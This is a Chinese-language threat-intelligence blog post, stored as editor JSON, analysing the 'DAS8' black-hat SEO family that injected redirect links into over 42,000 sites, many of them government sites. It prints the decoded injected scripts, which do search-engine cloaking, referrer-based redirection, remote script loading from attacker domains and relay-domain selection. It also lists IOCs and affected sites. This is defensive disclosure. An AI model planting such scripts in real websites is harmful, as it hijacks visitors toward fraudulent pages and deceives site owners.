{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"------\n> DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。\n------\n\n\n## 摘要\n\n\n在过去的4个月内，按照DNSMon的观察，包括104个政府网站在内，全网有超过42000+的网站被一个大型黑帽SEO家族渗透控制并植入了恶意URL链接。这些恶意URL通常将来自搜索引擎的访问层层跳转至流量的最终变现页面，例如网络投资APP（可能存在仿冒）。\n\n\n值得一提的是，如果用户是在浏览器内输入网址访问这些网页，而非经搜索引擎跳转，那么恶意URL链接可能不会被触发，用户看到的仅是正常页面。通过这种方式，攻击者试图保持被黑网站的老用户的浏览体验，增强自身的隐蔽性。\n\n\n我们将该SEO家族命名为DAS8，这主要是因为该家族使用邮箱dasheng123123@gmail[.]com注册了上千个域名。除了DAS8以外，我们还观察到了类似的若干家族。考虑到DAS8的感染规模显著超过了其他任何家族，我们认为有必要将DAS8的行为记录下来。\n\n\n## 缘起\n\n\n在我们跟踪一些政府网站时发现了一系列奇怪的现象：\n\n\n1.这些政府网站加载WEB资源时会去请求www.bcdas8[.]com或www.cpdas8[.]com两个域名；\n2.两个域名本身并不具备非常高的流行度，也没有ICP备案；\n3.两个域名解析的IP:103.94.78.4/103.94.78.39，位于境外同一网段，且不属于CDN、企业等特别持有的IP；\n4.两个域名共用一个HTTPS证书，证书SAN中还包括另外7个形如www.\\*das8\\*[.]com的域名；\n5.两个域名的URL结构存在异常形式，全部为hxxp://\\*/.{2,6}.js的形式；\n6.两个域名由同一个人注册，使用的注册邮箱存在异常注册行为。\n\n\n这引起了我们的注意，这些正规的政府网站为什么会去请求这组域名？\n\n\n## 案例分析\n\n\n任意选择一个产生上述异常的网站，观察其页面源代码。\n\n\n![sample-html-](__GHOST_URL__/content/images/2019/05/sample-html-.jpg)\n\n\n发现混淆了部分代码，解码后得到\n\n\n```javascript\ntitle: 北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】\nkeywords: 北京赛车,北京赛车官网,北京赛车开奖,北京赛车走势图,北京赛车投注,北京赛车网上投注,北京赛车投注平台\ndescription: 北京赛车,北京赛车开奖网【官方网址:XX567.COM】同步北京福彩赛车公司官网开奖,提供北京赛车开奖结果,北京赛车开奖记录,pk10开奖结果直播查询,pk10开奖直播记录查询,北京pk10赛车结果,北京pk10过往各开奖记录,pk10开奖,专业的开奖视频北京pk10网\n\nscript1:\nif(navigator.userAgent.toLocaleLowerCase().indexOf(\"baidu\") == -1){document.title =\"xxx人民法院\"}\n\nscript2:\nwindow['document']['write']('<script type=\"text/javascript\" src=\"https://www.cpdas8.com/cxc.js\"></script>')\n```\n\n\n功能大致为：\n1.将网页的关键元素title/keywords/description改为\"北京赛车\"相关的信息；\n2.判断浏览器的user-agent是否包含\"baidu\"字符串，如果不包含则将网页title修改为\"xxx人民法院\"；\n3.通过加壳的代码加载hxxps://www.cpdas8[.]com/cxc.js处的脚本\n\n\n```javascipt\n(function () {\n    /*百度推送代码*/\n     var bp = document.createElement('script');\n     bp.src = '//push.zhanzhang.baidu.com/push.js';\n     var s = document.getElementsByTagName(\"script\")[0];\n     s.parentNode.insertBefore(bp, s);\n     /*360推送代码*/\n     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';\n     document.write('<script src=\"' + src + '\" id=\"sozz\"><\\/script>');\n     })();\n\ndocument.writeln(\"<script LANGUAGE=\\\"Javascript\\\">\");\ndocument.writeln(\"var s=document.referrer\");\ndocument.writeln(\"if(s.indexOf(\\\"baidu\\\")>0 || s.indexOf(\\\"sogou\\\")>0 || s.indexOf(\\\"soso\\\")>0 ||s.indexOf(\\\"sm\\\")>0 ||s.indexOf(\\\"uc\\\")>0 ||s.indexOf(\\\"bing\\\")>0 ||s.indexOf(\\\"yahoo\\\")>0 ||s.indexOf(\\\"so\\\")>0 )\");\ndocument.writeln(\"location.href=\\\"https://2019d2.com\\\";\");\ndocument.writeln(\"</script>\");\n```\n\n\nhxxps://www.cpdas8[.]com/cxc.js的核心功能大致为：\n1.将网页内容主动推送给百度搜索、360搜索，以加速搜索引擎的收录；\n2.判断页面referrer中是否包含\"baidu\",\"so\",\"sogou\",\"uc\"等搜索引擎或浏览器导航页相关的字符串，如果包含则将网页跳转至hxxps://2019c3[.]com/，并经过一系列跳转最终来到hxxps://cxc232[.]com/，一个推广网络投资及其APP的网页。\n\n\n![cxc](__GHOST_URL__/content/images/2019/05/cxc.jpg)\n\n\n以上手法是SEO中常见的蜘蛛欺骗技术：\n1.攻陷正规网站，并将其页面关键元素修改为利益相关的词汇，如本例中\"北京赛车\"相关的词汇；\n2.正常用户使用浏览器直接访问相关域名时则将title改为原来的\"xxx人民法院\"，全当无事发生过；\n3.搜索引擎的蜘蛛爬取页面时则会将正规网站的页面信息标记为\"北京赛车\"相关；\n4.用户在搜索引擎中搜索\"北京赛车\"相关的词汇时，便会搜索到这些被攻陷的网站；\n5.当用户点击搜索引擎的referrer链接访问被攻陷的网站时，便会被带到其他网站，落入SEO家族的圈套。\n\n\n分析以上环节可以发现：被攻击的目标网站在搜索引擎中结果越靠前，那么SEO的收益则越大。政府网站具有一定的权威性，在搜索引擎进行排名时会有一定的加权提升，所以能被攻击的政府网站非常受SEO家族青睐。DAS8家族则是我们目前看到的影响政府网站最多的SEO家族。\n\n\n## 深入分析\n\n\n分析dasheng123123@gmail[.]com所注册的4000+个域名，主要用于三个用途：\n1.黑链域名：受害网站被挂的黑链会直接请求这些域名，来进行下一步的跳转，它们是整个SEO推广的入口，如上文提到的www[.]bcdas8[.]com/www[.]cpdas8[.]com，我们还通过IP、WEB等数据关联出了www[.]dasv8[.]com。\n2.中继域名：受害网站收到黑链域名的指令后跳转至中继域名，它们会从一组备选域名中选择用户访问较快的网站进行跳转，对整个跳转链条进行优化，如上文提到的2019c3[.]com。\n```\n<script language=\"javascript\">\ntimes=1\nsetInterval(\"times++\",100)\nb=1\nvar autourl=new Array() // 检测的站点\nautourl[1]=\"https://CXC240.COM/?id=10226\"\nautourl[2]=\"https://CXC241.COM/?id=10226\"\nautourl[3]=\"https://CXC242.COM/?id=10226\"\nautourl[4]=\"https://CXC243.COM/?id=10226\"\nautourl[5]=\"https://CXC244.COM/?id=10226\"\nautourl[6]=\"https://CXC245.COM/?id=10226\"\nautourl[7]=\"https://CXC240.COM/?id=10226\"\n// 判断第一个反应的网站并进行跳转\nfunction auto(url){\n        window.location.replace(url);\n        b++\n}\n// 进行故意错误请求并得到反应速度\nfunction run(){\n        for(var i=1;i<autourl.length;i++)\n        document.write(\"<img src=http://\"+autourl[i].split(\"//\")[1].split(\"/\")[0]+\"/\"+Math.random()+\" width=1 height=1 onerror=auto('\"+autourl[i]+\"')>\")\n}\nrun()\n</script>\n```\n3.推广域名：它们是整个链条的最后一站，承载着实际的WEB网页完成推广，如上文中提到的cxc232[.]com。推广域名的生存周期很短，被注册后，一般仅使用1年甚至更短的时间。\n\n\n截至本文发布时:\n1.部分受影响的网站已经移除了恶意代码，我们在IOC中列出了过去4个月内受到攻击的网站。\n2.攻击者在入侵部分网站之后，不再将恶意代码嵌入页面中，而是通过恶意代码污染相关js库的方式来逃避检测。\n\n\n![new_attack](__GHOST_URL__/content/images/2019/05/new_attack.jpg)\n\n\n![packed](__GHOST_URL__/content/images/2019/05/packed.jpg)\n\n\n如果读者是附件列表中网站的管理人员，可以利用下列手段自查：\n以chrome为例，在其开发者工具的Sources面板中观察网站加载过程中是否出现相关URL；\n\n\n![1559291644-1-](__GHOST_URL__/content/images/2019/05/1559291644-1-.jpg)\n\n\n一旦发现，在Network面板中观察可疑URL的调用过程，最终定位到恶意代码并移除。\n\n\n![1559292315-1-](__GHOST_URL__/content/images/2019/05/1559292315-1-.jpg)\n\n\n## IOCs\n\n\n```\ndomain:\nwww[.]bcdas8[.]com\nwww[.]cpdas8[.]com\nwww[.]dasv8[.]com\n\nwhois email:\ndasheng123123@gmail[.]com\n```\n\n\n## 部分受影响网站\n\n\n```\nlast_seen_timestamp\t            FQDN\n\n2019-05-31T07:31:36.000Z\twww.hnhxhbj.gov.cn\n2019-05-31T07:31:04.000Z\twlj.shishou.gov.cn\n2019-05-31T07:26:35.000Z\tttbwg.gszhuanglang.gov.cn\n2019-05-31T07:24:59.000Z\tstbc.swj.wuhan.gov.cn\n2019-05-30T07:37:51.000Z\twww.ccad.gov.cn\n2019-05-29T07:44:07.000Z\twww.gyaj.gov.cn\n2019-05-29T07:40:25.000Z\twww.jyqfy.gov.cn\n2019-05-29T07:29:00.000Z\twww.qgqrd.gov.cn\n2019-05-29T07:26:55.000Z\twww.swfp.gov.cn\n2019-05-28T07:46:57.000Z\twww.antufy.gov.cn\n2019-05-27T07:34:56.000Z\twww.jxmj.gov.cn\n2019-05-11T16:43:50.000Z\twww.bzgqt.gov.cn\n2019-05-09T07:32:04.000Z\told.xxrd.gov.cn\n2019-05-08T12:25:28.000Z\twww.xxrd.gov.cn\n2019-05-07T02:34:48.000Z\tjkqgwh.cnbz.gov.cn\n2019-05-06T13:07:43.000Z\txxgk.baiyangdian.gov.cn\n2019-05-04T16:11:34.000Z\twww.nxwh.gov.cn\n2019-05-04T16:07:58.000Z\twhhlyt.nx.gov.cn\n2019-05-04T16:07:07.000Z\twww.dalisn.gov.cn\n2019-05-02T05:24:04.000Z\twww.scdj.gov.cn\n2019-04-28T10:29:30.000Z\twww.idrc.gov.cn\n2019-04-27T12:36:11.000Z\twww.xywgxj.gov.cn\n2019-04-25T13:16:56.000Z\twww.xytjj.gov.cn\n2019-04-23T07:11:52.000Z\tmail.zhengzhou.gov.cn\n2019-04-20T07:27:22.000Z\twww.lnwdxf.gov.cn\n2019-04-19T07:27:37.000Z\twm.ahtxq.gov.cn\n2019-04-17T07:19:12.000Z\twww.cdnmj.gov.cn\n2019-04-16T16:28:40.000Z\twww.hgwh.gov.cn\n2019-04-16T08:40:16.000Z\tdx.ww.gov.cn\n2019-04-15T19:30:49.000Z\twww.pljcy.gov.cn\n2019-04-15T19:23:20.000Z\twww.fcgls.gov.cn\n2019-04-15T19:21:23.000Z\twww.sjzsglj.gov.cn\n2019-04-14T19:26:30.000Z\twww.jxqsq.gov.cn\n2019-04-14T19:23:00.000Z\twww.gyfy.gov.cn\n2019-04-14T19:02:38.000Z\tynb.nea.gov.cn\n2019-04-13T19:14:58.000Z\twww.nsjw.gov.cn\n2019-04-13T19:02:39.000Z\tghj.pingliang.gov.cn\n2019-04-12T19:22:59.000Z\tm.zcjjkfq.gov.cn\n2019-04-12T19:21:12.000Z\tjsjy.nm.jcy.gov.cn\n2019-04-11T19:13:38.000Z\twww.asmm.gov.cn\n2019-04-11T19:07:40.000Z\twww.jjtown.gov.cn\n2019-04-11T16:46:17.000Z\tdaj.guilin.gov.cn\n2019-04-10T19:28:10.000Z\twww.wwzx.gov.cn\n2019-04-10T19:15:58.000Z\twww.ahqyzx.gov.cn\n2019-04-10T19:13:55.000Z\thbafricacenter.llb.chutianyun.gov.cn\n2019-04-09T19:28:32.000Z\twww.fxrdw.gov.cn\n2019-04-09T19:10:25.000Z\tjcy.kaiping.gov.cn\n2019-04-09T00:24:31.000Z\twww.hcjjkfq.gov.cn\n2019-04-08T19:27:51.000Z\twww.yangchenghu.gov.cn\n2019-04-08T19:18:49.000Z\texam.qgqrd.gov.cn\n2019-04-08T19:16:54.000Z\tzazhi.xysww.gov.cn\n2019-04-08T19:15:39.000Z\tnyncj.chengde.gov.cn\n2019-04-08T19:06:19.000Z\twww.xyskx.gov.cn\n2019-04-08T02:46:25.000Z\twww.lsbb.gov.cn\n2019-04-08T01:46:48.000Z\twww.xyhcq.gov.cn\n2019-04-07T19:11:15.000Z\twww.wwrd.gov.cn\n2019-04-07T04:50:01.000Z\twww.wlqrd.gov.cn\n2019-04-06T05:45:12.000Z\twww.shfy.gov.cn\n2019-04-05T19:36:15.000Z\twww.lxdj.gov.cn\n2019-04-04T19:21:27.000Z\tapi.shfy.gov.cn\n2019-04-04T19:17:09.000Z\twww.gxdb.gov.cn\n2019-04-04T03:33:17.000Z\twww.ggxfy.gov.cn\n2019-04-03T19:27:21.000Z\twww.jnzxw.gov.cn\n2019-04-03T19:19:28.000Z\twww.lslz.gov.cn\n2019-04-02T19:57:45.000Z\tapi.gyfy.gov.cn\n2019-04-02T19:56:08.000Z\twww.zjksw.gov.cn\n2019-04-02T08:26:10.000Z\twww.ffwmw.gov.cn\n2019-04-02T06:12:27.000Z\twww.weishanhu.gov.cn\n2019-04-01T20:05:38.000Z\twww.jsmg.gov.cn\n2019-03-31T19:44:15.000Z\twww.shandongipc.gov.cn\n2019-03-31T11:07:05.000Z\twww.nxdj.gov.cn\n2019-03-30T19:11:45.000Z\tdxga.zgdx.gov.cn\n2019-03-30T19:10:42.000Z\twww.ngdzjksw.gov.cn\n2019-03-29T19:18:08.000Z\tshuju.zglz.gov.cn\n2019-03-27T20:05:58.000Z\twww.hmsf.gov.cn\n2019-03-27T00:28:21.000Z\twww.wzcgj.gov.cn\n2019-03-26T19:41:07.000Z\twww.shdjej.gov.cn\n2019-03-26T19:17:28.000Z\twww.zglz.gov.cn\n2019-03-25T20:05:11.000Z\twww.xyjk.gov.cn\n2019-03-25T19:21:04.000Z\twww.0597.gov.cn\n2019-03-25T00:36:55.000Z\twww.yglh.gov.cn\n2019-03-25T00:28:35.000Z\twww.xyjc.gdxy.gov.cn\n2019-03-24T19:09:12.000Z\tgxs.wuhai.gov.cn\n2019-03-21T19:19:37.000Z\twww.dbxc.gov.cn\n2019-03-20T19:16:51.000Z\tzbb.changde.gov.cn\n2019-03-20T19:06:52.000Z\tzw.lfgy.gov.cn\n2019-03-19T06:35:50.000Z\twww.lfgy.gov.cn\n2019-03-11T16:51:23.941Z\twww.nk93.gov.cn\n2019-03-10T21:30:35.471Z\twww.mczx.gov.cn\n2019-03-06T08:53:18.452Z\tqsh.qingshuihe.gov.cn\n2019-03-04T16:40:57.313Z\twww.zwpf.gov.cn\n2019-02-27T22:42:19.675Z\twww.nmgzxbq.gov.cn\n2019-02-27T20:46:28.401Z\twww.qingshuihe.gov.cn\n2019-02-24T07:25:33.358Z\twww.ezga.gov.cn\n2019-02-24T01:17:28.044Z\twww.xydz.gov.cn\n2019-02-21T22:30:35.446Z\twww.ygyc.gov.cn\n2019-02-19T10:27:59.237Z\twww.zgydds.gov.cn\n2019-02-17T16:42:46.101Z\twww.qjwsj.gov.cn\n2019-02-16T23:51:59.194Z\twww.ecpi.suzhou.gov.cn\n2019-02-12T01:12:43.821Z\twww.xtsghj.gov.cn\n2019-02-11T23:52:36.268Z\twww.wyxrd.gov.cn\n2019-02-09T21:28:19.303Z\twww.xihua.gov.cn\n2019-02-05T00:34:28.682Z\twww.jciz.gov.cn\n2019-02-02T23:48:39.182Z\twww.suqiancity.gov.cn\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}